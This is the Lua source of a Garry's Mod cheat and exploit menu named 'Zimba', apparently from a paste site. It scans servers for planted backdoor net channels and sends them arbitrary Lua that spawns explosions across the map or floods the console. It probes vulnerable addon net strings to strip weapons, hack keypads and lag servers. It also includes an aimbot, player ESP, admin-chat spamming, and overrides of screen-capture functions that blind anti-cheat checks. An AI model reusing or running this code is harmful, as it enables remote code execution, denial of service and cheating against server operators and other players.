- ArtilleryStrike:SetToolTip( "Bombs drop everywhere." )
- ArtilleryStrike.Paint = function( self, w, h )
- DrawBlur(ArtilleryStrike, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- ArtilleryStrike.DoClick = function()
- SploitNotify("Starting Strike")
- surface.PlaySound("garrysmod/ui_click.wav")
- local strike = "hook.Add(\"Think\", \"bombstrike\", function() \n local explode = ents.Create( \"env_explosion\" ) \n explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) explode:Spawn() explode:SetKeyValue( \"iMagnitude\", \"500\" ) explode:Fire( \"Explode\", 0, 0 ) end)"
- net.Start(netKey)
- net.WriteString( strike )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local StopArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
- StopArtilleryStrike:SetText( "Stops Strike" )
- StopArtilleryStrike:SizeToContents()
- StopArtilleryStrike:SetTall( 25 )
- StopArtilleryStrike:SetWide( StopArtilleryStrike:GetWide() + 20 )
- StopArtilleryStrike:SetPos( 480, 295 )
- StopArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
- StopArtilleryStrike:SetToolTip( "Stops Artillery Strike" )
- StopArtilleryStrike.Paint = function( self, w, h )
- DrawBlur(StopArtilleryStrike, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- StopArtilleryStrike.DoClick = function()
- SploitNotify("Stopping Strike")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "hook.Remove( \"Think\" ,\"bombstrike\")" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
- FloodConsole:SetText( "Flood Console" )
- FloodConsole:SizeToContents()
- FloodConsole:SetTall( 25 )
- FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
- FloodConsole:SetPos( 50, 340 )
- FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
- FloodConsole:SetToolTip( "Floods Server Console" )
- FloodConsole.Paint = function( self, w, h )
- DrawBlur(FloodConsole, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- FloodConsole.DoClick = function()
- SploitNotify("Flooding Console")
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start(netKey)
- net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- ------------------------------
- -- MISC DERMA --
- ------------------------------
- local MiscMenu = vgui.Create( "DFrame" )
- MiscMenu:SetSize( 630, 450 )
- MiscMenu:SetVisible( true )
- MiscMenu:SetDraggable( false )
- MiscMenu:ShowCloseButton( false )
- MiscMenu:Center()
- MiscMenu:SetTitle("")
- MiscMenu:MakePopup()
- MiscMenu.Paint = function( self, w, h )
- DrawBlur(MiscMenu, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
- draw.SimpleText( "Zimba Misc Menu", "Title", MiscMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local MiscMenuClose = vgui.Create( "DButton", MiscMenu )
- MiscMenuClose:SetSize( 35, 35 )
- MiscMenuClose:SetPos( MiscMenu:GetWide() - 36,9 )
- MiscMenuClose:SetText( "X" )
- MiscMenuClose:SetFont( "Default" )
- MiscMenuClose:SetTextColor( Color( 255, 255, 255 ) )
- MiscMenuClose.Paint = function()
- end
- MiscMenuClose.DoClick = function()
- CloseEverything()
- end
- local MiscMenuPanelList = vgui.Create( "DScrollPanel", MiscMenu )
- MiscMenuPanelList:Dock( FILL )
- ------------------------------
- -- MISC NOCLIP #1 --
- ------------------------------
- local ClientSideNoclip = MiscMenuPanelList:Add( "DButton" )
- ClientSideNoclip:SetText( "Toggle Noclip")
- ClientSideNoclip:Dock( TOP )
- ClientSideNoclip:DockMargin( 0, 50, 0, 5 )
- ClientSideNoclip:SetTextColor( Color( 255, 255, 255 ) )
- ClientSideNoclip.Paint = function( self, w, h )
- DrawBlur(ClientSideNoclip, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- ClientSideNoclip.DoClick = function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Noclip Enabled")
- ply:ConCommand( "zimba_toggle_noclip" )
- end
- ------------------------------
- -- MISC AIMBOT #2 --
- ------------------------------
- local Aimbott = MiscMenuPanelList:Add( "DButton" )
- Aimbott:SetText( "Toggle Aimbot")
- Aimbott:Dock( TOP )
- Aimbott:DockMargin( 0, 0, 0, 5 )
- Aimbott:SetTextColor( Color( 255, 255, 255 ) )
- Aimbott.Paint = function( self, w, h )
- DrawBlur(Aimbott, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- Aimbott.DoClick = function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Aimbot Enabled")
- ply:ConCommand( "zimba_toggle_aimbot" )
- end
- ------------------------------
- -- MISC SPAMADMINS #3 --
- ------------------------------
- local SpamAdminChat = MiscMenuPanelList:Add( "DButton" )
- SpamAdminChat:SetText( "Spam Admins")
- SpamAdminChat:Dock( TOP )
- SpamAdminChat:DockMargin( 0, 0, 0, 5 )
- SpamAdminChat:SetTextColor( Color( 255, 255, 255 ) )
- SpamAdminChat.Paint = function( self, w, h )
- DrawBlur(SpamAdminChat, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- SpamAdminChat.DoClick = function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ply:ConCommand( "zimba_toggle_admin_spam" )
- end
- ------------------------------
- -- EXPLOIT DERMA --
- ------------------------------
- local ExploitMenu = vgui.Create( "DFrame" )
- ExploitMenu:SetSize( 630, 450 )
- ExploitMenu:SetVisible( true )
- ExploitMenu:SetDraggable( false )
- ExploitMenu:ShowCloseButton( false )
- ExploitMenu:Center()
- ExploitMenu:SetTitle("")
- ExploitMenu:MakePopup()
- ExploitMenu.Paint = function( self, w, h )
- DrawBlur(ExploitMenu, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
- draw.SimpleText( "Zimba Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
- ExploitMenuClose:SetSize( 35, 35 )
- ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
- ExploitMenuClose:SetText( "X" )
- ExploitMenuClose:SetFont( "Default" )
- ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
- ExploitMenuClose.Paint = function()
- end
- ExploitMenuClose.DoClick = function()
- CloseEverything()
- end
- local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
- ExpolitPanelList:Dock( FILL )
- ------------------------------
- -- EXPLOIT #1 --
- ------------------------------
- local status = ValidNetString("properties")
- if (status) then
- totalExploits = 1 + totalExploits
- local StripWeapons = ExpolitPanelList:Add( "DButton" )
- StripWeapons:SetText( "Strip Everyones Weapons")
- StripWeapons:Dock( TOP )
- StripWeapons:DockMargin( 0, 50, 0, 5 )
- StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
- StripWeapons.Paint = function( self, w, h )
- DrawBlur(StripWeapons, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- StripWeapons.DoClick = function()
- removeAll()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Stripping Weapons")
- end
- print("[ZIMBA] Found Exploit: Strip Everyones Weapons *Sometimes Works*")
- end
- ------------------------------
- -- EXPLOIT #2 --
- ------------------------------
- local status = ValidNetString("start_wd_emp")
- if (status) then
- totalExploits = 1 + totalExploits
- local HackKeypads = ExpolitPanelList:Add( "DButton" )
- HackKeypads:SetText( "Hack Keypads")
- HackKeypads:Dock( TOP )
- HackKeypads:DockMargin( 0, 0, 0, 5 )
- HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
- HackKeypads.Paint = function( self, w, h )
- DrawBlur(HackKeypads, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- HackKeypads.DoClick = function()
- HackKeypad()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Hacking Keypads")
- end
- print("[ZIMBA] Found Exploit: Hack Keypad")
- end
- ------------------------------
- -- EXPLOIT #3 --
- ------------------------------
- local status = ValidNetString("egg")
- if (status) then
- totalExploits = 1 + totalExploits
- local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
- GiveEasterEgg1:SetText( "Give Easter Egg")
- GiveEasterEgg1:Dock( TOP )
- GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
- GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
- GiveEasterEgg1.Paint = function( self, w, h )
- DrawBlur(GiveEasterEgg1, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- GiveEasterEgg1.DoClick = function()
- GiveEasterEgg1()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Hacking Keypads")
- end
- print("[ZIMBA] Found Exploit: Give Easter Egg")
- end
- ------------------------------
- -- EXPLOIT #4 --
- ------------------------------
- local status = ValidNetString("steamid2")
- if (status) then
- totalExploits = 1 + totalExploits
- local Lagger1 = ExpolitPanelList:Add( "DButton" )
- Lagger1:SetText( "Lagger #1")
- Lagger1:Dock( TOP )
- Lagger1:DockMargin( 0, 0, 0, 5 )
- Lagger1:SetTextColor( Color( 255, 255, 255 ) )
- Lagger1.Paint = function( self, w, h )
- DrawBlur(Lagger1, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- Lagger1.DoClick = function()
- Lagger1()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Starting Lagger #1")
- end
- print("[ZIMBA] Found Exploit: Lagger #1")
- end
- ------------------------------
- -- EXPLOIT #5 --
- ------------------------------
- local status = ValidNetString("bodyman_model_change")
- if (status) then
- totalExploits = 1 + totalExploits
- local ModelChanger = ExpolitPanelList:Add( "DButton" )
- ModelChanger:SetText( "Model Changer")
- ModelChanger:Dock( TOP )
- ModelChanger:DockMargin( 0, 0, 0, 5 )
- ModelChanger:SetTextColor( Color( 255, 255, 255 ) )
- ModelChanger.Paint = function( self, w, h )
- DrawBlur(ModelChanger, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- ModelChanger.DoClick = function()
- ply:ConCommand( "zimba_toggle_model_changer" )
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Starting Model Changer")
- end
- print("[ZIMBA] Found Exploit: Model Changer")
- end
- ------------------------------
- -- Chat Commands --
- ------------------------------
- hook.Add( "OnPlayerChat", "ChatCommands", function( ply, strText, bTeam, bDead )
- strText = string.lower( strText )
- if ( strText == "!zimbamenu" ) then
- Zimba:Show()
- ZimbaCategories:Show()
- SploitNotify("Loading Menu")
- return true
- end
- if ( strText == "!zimbanoclip" ) then
- SploitNotify("Noclip Enabled")
- ply:ConCommand( "zimba_toggle_noclip" )
- return true
- end
- if ( strText == "!zimbaaimbot" ) then
- SploitNotify("Aimbot Enabled")
- ply:ConCommand( "zimba_toggle_aimbot" )
- return true
- end
- end )
- ------------------------------
- -- ESP --
- ------------------------------
- local function coordinates( ent )
- local min, max = ent:OBBMins(), ent:OBBMaxs()
- local corners = {
- Vector( min.x, min.y, min.z ),
- Vector( min.x, min.y, max.z ),
- Vector( min.x, max.y, min.z ),
- Vector( min.x, max.y, max.z ),
- Vector( max.x, min.y, min.z ),
- Vector( max.x, min.y, max.z ),
- Vector( max.x, max.y, min.z ),
- Vector( max.x, max.y, max.z )
- }
- local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
- for _, corner in pairs( corners ) do
- local onScreen = ent:LocalToWorld( corner ):ToScreen()
- minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
- maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
- end
- return minX, minY, maxX, maxY
- end
- hook.Add("HUDPaint", "ESP", function()
- for k,v in pairs(player.GetAll()) do
- local x1,y1,x2,y2 = coordinates(v)
- surface.SetDrawColor(color_white)
- surface.DrawLine( x1, y1, math.min( x1 + 5, x2 ), y1 )
- surface.DrawLine( x1, y1, x1, math.min( y1 + 5, y2 ) )
- surface.DrawLine( x2, y1, math.max( x2 - 5, x1 ), y1 )
- surface.DrawLine( x2, y1, x2, math.min( y1 + 5, y2 ) )
- surface.DrawLine( x1, y2, math.min( x1 + 5, x2 ), y2 )
- surface.DrawLine( x1, y2, x1, math.max( y2 - 5, y1 ) )
- surface.DrawLine( x2, y2, math.max( x2 - 5, x1 ), y2 )
- surface.DrawLine( x2, y2, x2, math.max( y2 - 5, y1 ) )
- if v ~= LocalPlayer() and v:Alive() then
- local esppos = v:EyePos():ToScreen()
- if(v:GetUserGroup() ~= "user" or v:GetUserGroup() ~= "guest") then
- draw.SimpleText( "[".. v:GetUserGroup() .. "]" .. v:Nick(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP)
- draw.SimpleText( "Health: " .. v:Health(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
- end
- end
- end
- end)
- ------------------------------
- -- AIMBOT --
- ------------------------------
- local AB = {}
- AB.Enabled = false
- function Aimbot()
- if ( !AB.Enabled ) then return end
- local ply = LocalPlayer()
- local trace = util.GetPlayerTrace( ply )
- local traceRes = util.TraceLine( trace )
- if traceRes.HitNonWorld then
- local target = traceRes.Entity
- if target:IsPlayer() then
- local targethead = target:LookupBone("ValveBiped.Bip01_Head1")
- local targetheadpos,targetheadang = target:GetBonePosition(targethead)
- ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
- end
- end
- end
- hook.Add("Think","aimbot",Aimbot)
- function AB.Toggle()
- AB.Enabled = !AB.Enabled
- AB.LockView = AB.Enabled
- AB.SetView = true
- local status = { [ true ] = "ON", [ false ] = "OFF" }
- SploitNotify("Aimbot: " .. status[ AB.Enabled ])
- end
- concommand.Add( "zimba_toggle_aimbot", AB.Toggle )
- ------------------------------
- -- SPAM ADMINS --
- ------------------------------
- function AdminSpammerOpen()
- local AdminSpammer = vgui.Create( "DFrame" )
- AdminSpammer:SetPos( 5, 5 )
- AdminSpammer:SetSize( 285, 160 )
- AdminSpammer:SetVisible( true )
- AdminSpammer:SetTitle("")
- AdminSpammer:SetDraggable( false )
- AdminSpammer:ShowCloseButton( false )
- AdminSpammer:MakePopup()
- AdminSpammer:Center()
- AdminSpammer.Paint = function( self, w, h )
- DrawBlur(AdminSpammer, 2)
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
- draw.RoundedBox(0, 2, 2, w - 4, h / 4, Color(0,0,0,125))
- draw.SimpleText( "Admin Chat Spammer", "Title", AdminSpammer:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local AdminSpammerClose = vgui.Create( "DButton", AdminSpammer )
- AdminSpammerClose:SetSize( 35, 35 )
- AdminSpammerClose:SetPos( AdminSpammerClose:GetWide() - -220,3 )
- AdminSpammerClose:SetText( "X" )
- AdminSpammerClose:SetFont( "Default" )
- AdminSpammerClose:SetTextColor( Color( 255, 255, 255 ) )
- AdminSpammerClose.Paint = function()
- end
- AdminSpammerClose.DoClick = function()
- AdminSpammer:Hide()
- end
- local AdminChatSpammerTextEntry = vgui.Create( "DTextEntry", AdminSpammer ) -- create the form as a child of frame
- AdminChatSpammerTextEntry:SetPos( 35, 60 )
- AdminChatSpammerTextEntry:SetSize( 215, 20 )
- AdminChatSpammerTextEntry:SetText( "" )
- AdminChatSpammerTextEntry.OnEnter = function( self )
- chat.AddText( self:GetValue() ) -- print the form's text as server text
- end
- local StartAdminSpammer = vgui.Create( "DButton", AdminSpammer )
- StartAdminSpammer:SetText( "Start Spammer" )
- StartAdminSpammer:SizeToContents()
- StartAdminSpammer:SetTall( 25 )
- StartAdminSpammer:SetWide( 100 )
- StartAdminSpammer:SetPos( 35, 100 )
- StartAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
- StartAdminSpammer:SetToolTip( "Checks the hack Client Version." )
- StartAdminSpammer.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- StartAdminSpammer.DoClick = function()
- StartAdminSpammer()
- end
- local StopAdminSpammer = vgui.Create( "DButton", AdminSpammer )
- StopAdminSpammer:SetText( "Stop Spammer" )
- StopAdminSpammer:SizeToContents()
- StopAdminSpammer:SetTall( 25 )
- StopAdminSpammer:SetWide( 100 )
- StopAdminSpammer:SetPos( 150, 100 )
- StopAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
- StopAdminSpammer:SetToolTip( "Checks the hack Client Version." )
- StopAdminSpammer.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
- end
- StopAdminSpammer.DoClick = function()
- StopAdminSpammer()
- end
- -- Spammer Functions
- function StartAdminSpammer()
- timer.Create( "StartAdminSpammer", 0, 0, function()
- for i = 1, 100 do
- RunConsoleCommand( "ulx", "asay", AdminChatSpammerTextEntry:GetValue() )
- end
- end)
- SploitNotify("Spamming Admins")
- surface.PlaySound("garrysmod/ui_click.wav")
- end
- function StopAdminSpammer()
- timer.Destroy("StartAdminSpammer")
- SploitNotify("Stopped Spamming")
- surface.PlaySound("garrysmod/ui_click.wav")
- end
- end
- concommand.Add( "zimba_toggle_admin_spam", AdminSpammerOpen )
- ------------------------------
- -- Other Stuff --
- ------------------------------
- playSound("http://skydarkrp.com/zimba/zimba.mp3")
- SploitNotify("Welcome " .. ply:GetName())
- Zimba:Hide()
- ZimbaCategories:Hide()
- ExploitMenu:Hide()
- MiscMenu:Hide()
- BackdoorMenu:Hide()
- function CloseEverything()
- Zimba:Hide()
- ZimbaCategories:Hide()
- ExploitMenu:Hide()
- MiscMenu:Hide()
- BackdoorMenu:Hide()
- end
- function closealltabs()
- Zimba:Hide()
- ExploitMenu:Hide()
- MiscMenu:Hide()
- BackdoorMenu:Hide()
- end
- function OpenZimbaMenu()
- Zimba:Show()
- ZimbaCategories:Show()
- end
- function OpenExploitMenu()
- ExploitMenu:Show()
- end
- function OpenMiscMenu()
- MiscMenu:Show()
- end
- function OpenBackdoor()
- BackdoorMenu:Show()
- end
- ------------------------------
- -- Check Backdoors --
- ------------------------------
- function checkbackdoors()
- if( ValidNetString("memeDoor") ) then
- BackdoorsFound = 1 + BackdoorsFound
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - memeDoor" )
- netKey = "memeDoor"
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Backdoor Not Found - memeDoor!" )
- end
- if( ValidNetString("Sandbox_Armdupe") ) then
- BackdoorsFound = 1 + BackdoorsFound
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
- netKey = "Sandbox_Armdupe"
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
- end
- if( ValidNetString("BackDoor") ) then
- BackdoorsFound = 1 + BackdoorsFound
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Backdoor" )
- netKey = "BackDoor"
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Backdoor!" )
- end
- if( ValidNetString("ZimbaBackDoor") ) then
- BackdoorsFound = 1 + BackdoorsFound
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - ZimbaBackdoor" )
- netKey = "ZimbaBackDoor"
- else
- chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - ZimbaBackdoor!" )
- end
- SploitNotify("Found: ".. BackdoorsFound )
- chat.AddText("Changed Net String to - ".. netKey )
- end
- -- Zimba Watermark
- function Watermark()
- Watermark = vgui.Create( "HTML" )
- Watermark:SetPos( 5, 5)
- Watermark:SetSize( ScrW(), ScrH())
- Watermark:OpenURL( "http://skydarkrp.com/zimba/zimbalogosmall.png" )
- end
- --
- concommand.Add("zimba_menu", OpenZimbaMenu)
- concommand.Add("zimba_exploit_menu", OpenExploitMenu)
- concommand.Add("zimba_misc_menu", OpenMiscMenu)
- concommand.Add("zimba_backdoor_menu", OpenBackdoor)
- concommand.Add("zimba_check_backdoors", checkbackdoors)
- render.Capture = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" ) return end
- render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
- render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement